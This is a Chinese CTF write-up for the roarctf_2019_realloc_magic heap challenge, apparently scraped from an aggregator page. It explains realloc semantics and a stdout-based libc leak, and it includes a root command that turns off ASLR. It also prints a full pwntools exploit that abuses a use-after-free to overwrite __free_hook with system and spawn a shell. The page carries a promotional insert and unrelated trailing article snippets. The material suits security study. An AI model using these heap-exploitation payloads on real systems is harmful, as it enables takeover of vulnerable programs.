realloc函数应用IO泄露体验

本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook–>onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。

在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的

realloc

realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

  1. size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf
  2. realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)
  3. malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
  4. malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

stdout泄露

这里我只给出结论,具体可以参考

  1. 设置_flags & _IO_NO_WRITES = 0

  2. 设置_flags & _IO_CURRENTLY_PUTTING = 1

  3. 设置_flags & _IO_IS_APPENDING = 1

    _flags = 0xFBAD1800
    
  4. 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)

具备以上基础我们可以来实战一题了

roarctf_2019_realloc_magic

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位,保护全开

前情提要:

本题部署在2.27-3ubuntu1_amd64/libc-2.27.so

建议关闭linux地址空间随机化(ASLR),方便调试。

在root用户下执行

echo 0 > /proc/sys/kernel/randomize_va_space

realloc

int re()
{unsigned int size; // [rsp+Ch] [rbp-4h]puts("Size?");size = get_int();realloc_ptr = realloc(realloc_ptr, size);puts("Content?");read(0, realloc_ptr, size);return puts("Done");
}

free

int fr()
{free(realloc_ptr);return puts("Done");
}

存在uaf,可以利用起来

这里有个清零指针的函数

int ba()
{if ( lock )exit(-1);lock = 1;realloc_ptr = 0LL;return puts("Done");
}

程序特别简单,但是利用比较精妙,

在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

思路

通过realloc,和uaf,构造好tcache的布局

然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook

最后正常打free_hook:free_hook-->system-->/bin/sh

首先利用malloc(size)和free(size)在tcache上面先准备好

malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)

free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)

realloc(0x20,b'b')	#这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")

image-20230912125521459

realloc(0x90,b'b')
for i in range(7):dele()
realloc(0,"")

这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来

为什么第八次free需要使用realloc去free呢?

因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用

image-20230912162307540

看一下此时的堆空间

image-20230912162721962

realloc(0x20,b"aaa")
pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
#这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
realloc(0x50,pl)

这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,

后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系

首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc

后面的"\x60\xc7"看图就知道了

image-20230912170239859

_IO_2_1_stdout_main_arena相差了4位,并且低三位是固定的,只需要爆破一位

(因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))

直接看成果图

image-20230912162925182

image-20230912162934528

可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行

realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
realloc(0x90,pl)

这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的

0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800

image-20230912170911195

image-20230912183447804

这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58

也就是

image-20230912184335327

_IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可

然后算出free_hook,system的libc地址,

接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0

sla(menu,'666')realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2 
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):dele()
realloc(0,"")
realloc(0x30,b'a')
pl=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,pl)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(sys))
dele()

free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system

完整exp:

from pwn import*def debug(cmd = 0):if cmd == 0:gdb.attach(r)else:gdb.attach(r,cmd)pause()menu=b">>"
def realloc(size,con):r.sendlineafter(menu, b'1')r.sendlineafter(b'ize',str(size))r.sendafter(b'ent',con)
def dele():r.sendlineafter(menu,b'2')libc=ELF("libc-2.27.so")context(os='linux', arch='amd64',log_level='debug')def pwn():realloc(0x20,b'b')realloc(0,"")realloc(0x90,b'b')realloc(0,"")realloc(0x10,b'b')realloc(0,"")realloc(0x90,b'b')for i in range(7):dele()realloc(0,"")realloc(0x20,b"aaa")payload=p64(0)*5+p64(0x81)+b"\x60\xc7"#realloc(0x50,b'aaa')realloc(0x50,payload)realloc(0,"")realloc(0x90,b'aa')realloc(0,"")payload=p64(0xfbad1886)+p64(0)*3+b'\x58'realloc(0x90,payload)#debug()leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']print(hex(leak))free=leak+libc.sym['__free_hook']system=leak+libc.sym['system']r.sendlineafter(menu,'666')realloc(0x30,b'a')realloc(0,"")realloc(0xa0,b'a')realloc(0,"")realloc(0x10,b'b')#2realloc(0,"")realloc(0xa0,b'b')for i in range(7):dele()realloc(0,"")realloc(0x30,b'a')payload=p64(0)*7+p64(0x71)+p64(free-8)realloc(0x70,payload)realloc(0,"")realloc(0xa0,b'a')realloc(0,"")realloc(0xa0,b'/bin/sh\x00'+p64(system))dele()r.interactive()for i in range(1):try:r=process("./pwn")pwn()breakexcept:r.close()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/89685.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机,软件工程,网络工程,大数据专业毕业设计选题有哪些(附源码获取)

计算机&#xff0c;软件工程&#xff0c;网络工程&#xff0c;大数据专业毕业设计选题有哪些?&#xff08;附源码获取&#xff09; ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于J…

Linux(CentOS/Ubuntu)——安装nginx

如果确定你的系统是基于CentOS或RHEL&#xff0c;可以使用以下命令&#xff1a; ①、安装库文件 #安装gcc yum install gcc-c#安装PCRE pcre-devel yum install -y pcre pcre-devel#安装zlib yum install -y zlib zlib-devel#安装Open SSL yum install -y openssl openssl-de…

讯飞星火认知大模型Java后端接口

文章目录 1.免费申请星火大模型套餐2.Java后端接口说明2.1 项目地址2.2 项目说明2.3 项目结构2.4 项目代码&#x1f340; maven 依赖&#x1f340; application.yml 配置文件&#x1f340; config 包&#x1f4cc; XfXhConfig &#x1f340; dto 包&#x1f4cc; MsgDTO&#x…

Windows系统如何临时关闭“Windows安全中心实时保护”

前言 启动windows depender实时保护可能会使系统不太流畅&#xff0c;也可能会导致我们的程序无法正常运行&#xff0c;因为它会拦截或搜索我们的正常工作。 暂时关闭windows depender的实时保护对许多用户来说非常重要。 一、Win10系统关闭方法 打开Windows安全中心&#…

油封的两种主要类型?

油封也称为轴封&#xff0c;是各类机械中不可或缺的部件。它们主要用于密封机械设备中固定部件和移动部件之间的开口。大多数应用中较常用的油封是橡胶壳油封或金属壳油封。 橡胶壳油封广泛用于存在金属壳油封因热膨胀而失效的风险的应用中。橡胶外壳油封不会生锈&#xff0c;…

mac docker部署hadoop集群

1. 安装docker 确保电脑已经安装docker docker安装过程可自行查找资料&#xff0c;mac下docker可以使用brew命令安装 安装之后&#xff0c;查看docker版本&#xff0c;确认安装成功 docker -v2. 下载jdk 最好下载jdk-8&#xff0c;jdk的版本过高可能hadoop2.x不支持jdk-8的下…

【力扣每日一题】2023.9.27 餐厅过滤器

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 题目挺长&#xff0c;估计中等难度是给在了阅读理解上。 简单来说就是给我们一堆餐厅的信息&#xff0c;每个餐厅拥有五个属性&#xff…

虹科Pico汽车示波器诚邀您加入精准诊断时代,助您成为修车大师!

虹科Pico汽车示波器的口号是&#xff1a; 面向未来诊断&#xff0c;定义精准时代 淘汰人的是工具从来不是年龄&#xff01;虹科Pico汽车示波器能够让您掌握现代的诊断工具&#xff0c;让您更高效的诊断故障原因。 我们有专业的设备与优质的技术服务&#xff01;让每个用户自…

LeetCode每日一题:2251. 花期内花的数目(2023.9.28 C++)

目录 2251. 花期内花的数目 题目描述&#xff1a; 实现代码与解析&#xff1a; 离散化差分 原理思路&#xff1a; 2251. 花期内花的数目 题目描述&#xff1a; 给你一个下标从 0 开始的二维整数数组 flowers &#xff0c;其中 flowers[i] [starti, endi] 表示第 i 朵花的…

1.centos7 安装显卡驱动、cuda、cudnn

安装conda 参考 python包 2.安装conda python库-CSDN博客3.Cenots Swin-Transformer-Object-Detection环境配置-CSDN博客 1.安装显卡驱动 步骤1&#xff1a;安装依赖 yum -y install kernel-devel yum -y install epel-release yum -y install gcc 步骤2&#xff1a;查询显…

[滴水逆向]03-12 pe头字段说明课后作业,输出pe结构

#include <iostream> #include <windows.h> using namespace std; #pragma warning(disable:4996) //DOC结构 typedef struct _DOC_HEADER {WORD e_magic;WORD e_cblp;WORD e_cp;WORD e_crlc;WORD e_cparhar;WORD e_minalloc;WORD e_maxalloc;WORD e_ss;WO…

CentOS 7下载安装MySQL 5.7以及连接虚拟机CentOS 7数据库教程

## CentOS 7下载安装MySQL 5.7以及连接虚拟机CentOS 7数据库教程 文章目录 ## [CentOS 7下载安装MySQL 5.7以及连接虚拟机CentOS 7数据库教程](https://my.oschina.net/u/3986411/blog/4714780) 通过如下命令查看mariadb的安装包 rpm -qa | grep mariadb通过如下命令卸载mariad…

Java基础简单整理

文章目录 Java语言具有以下特点&#xff1a;Java SE vs Java EEJVM vs JDK vs JRE为什么说 Java 语言编译与解释并存&#xff1f;Java 和 C 的区别?Java注释用法&#xff1a;Java标识符Java基本数据类型链接Java字符串类型链接基本类型和包装类型的区别&#xff1f;静态方法为…

可以动态改变刻度背景色的车速仪表盘

最近做的项目的主页面需要用到一个仪表盘来动态显示车速&#xff0c;同时改变对应的背景色 仪表盘 开始是想着使用echarts&#xff0c;修修改改拿来用&#xff0c;但是人家客户有规定&#xff0c;必须搞个差不多的&#xff0c;那没办法&#xff0c;自 己动手搞个吧 截图如下&am…

SDI-12协议与STM32 进行uart通信

场景是用stm32与一款温湿度传感器通信&#xff0c;不过是基于SDI-12协议&#xff0c;SDI-12时序和UART类似&#xff0c;故采用UART传输&#xff0c;原理图如下 其中DIR_OUT_SDI是一个IO引脚&#xff0c;控制UART_TX_SDI是否使能&#xff0c;U10是三态门IC&#xff0c;即拉低DIR…

AI文章,AI文章生成工具

在互联网时代&#xff0c;随着信息爆炸式增长&#xff0c;文章的需求愈发旺盛。从博客、新闻、社交媒体到企业宣传&#xff0c;文字作为传达信息、吸引受众的工具变得愈发重要。但问题是&#xff0c;对于很多人来说&#xff0c;创作一篇高质量的文章并不容易。时间、创意、写作…

【c语言的函数指针介绍】

C语言中的函数指针是一种特殊的指针&#xff0c;它指向函数而不是数据。函数指针允许你在运行时动态地选择要调用的函数&#xff0c;这使得你可以根据需要在不同的函数之间切换&#xff0c;或者将函数作为参数传递给其他函数。函数指针的声明和使用如下&#xff1a; 声明函数指…

Tomcat多实例、负载均衡、动静分离

Tomcat多实例部署 安装jdk [rootlocalhost ~]#systemctl stop firewalld.service [rootlocalhost ~]#setenforce 0 [rootlocalhost ~]#cd /opt [rootlocalhost opt]#ls apache-tomcat-8.5.16.tar.gz jdk-8u91-linux-x64.tar.gz rh [rootlocalhost opt]#tar xf jdk-8u91-linu…

荣耀时刻!2023抖音电商作者峰会为优质直播间和卓越生态伙伴颁奖

9月27日&#xff0c;抖音电商在上海举行了以“向新成长”为主题的2023抖音电商作者峰会&#xff0c;并现场颁发了荣誉奖项。抖音电商优质直播间以及践行抖音电商作者精神四个维度的年度荣誉一一揭晓。 过去一年&#xff0c;数百万作者与众多品牌商家、MCN机构和精选联盟服务商…

打造卓越摄影作品,尽享专业级编辑体验——DxO PhotoLab 7 for Mac

DxO PhotoLab 7 for Mac 是一款功能强大的专业照片编辑软件&#xff0c;为摄影爱好者和专业摄影师提供了优秀的工具和功能&#xff0c;让您能够轻松打造卓越的摄影作品并实现专业级的编辑效果。 DxO PhotoLab 7 提供了一套先进的图像处理算法&#xff0c;能够准确地还原照片的…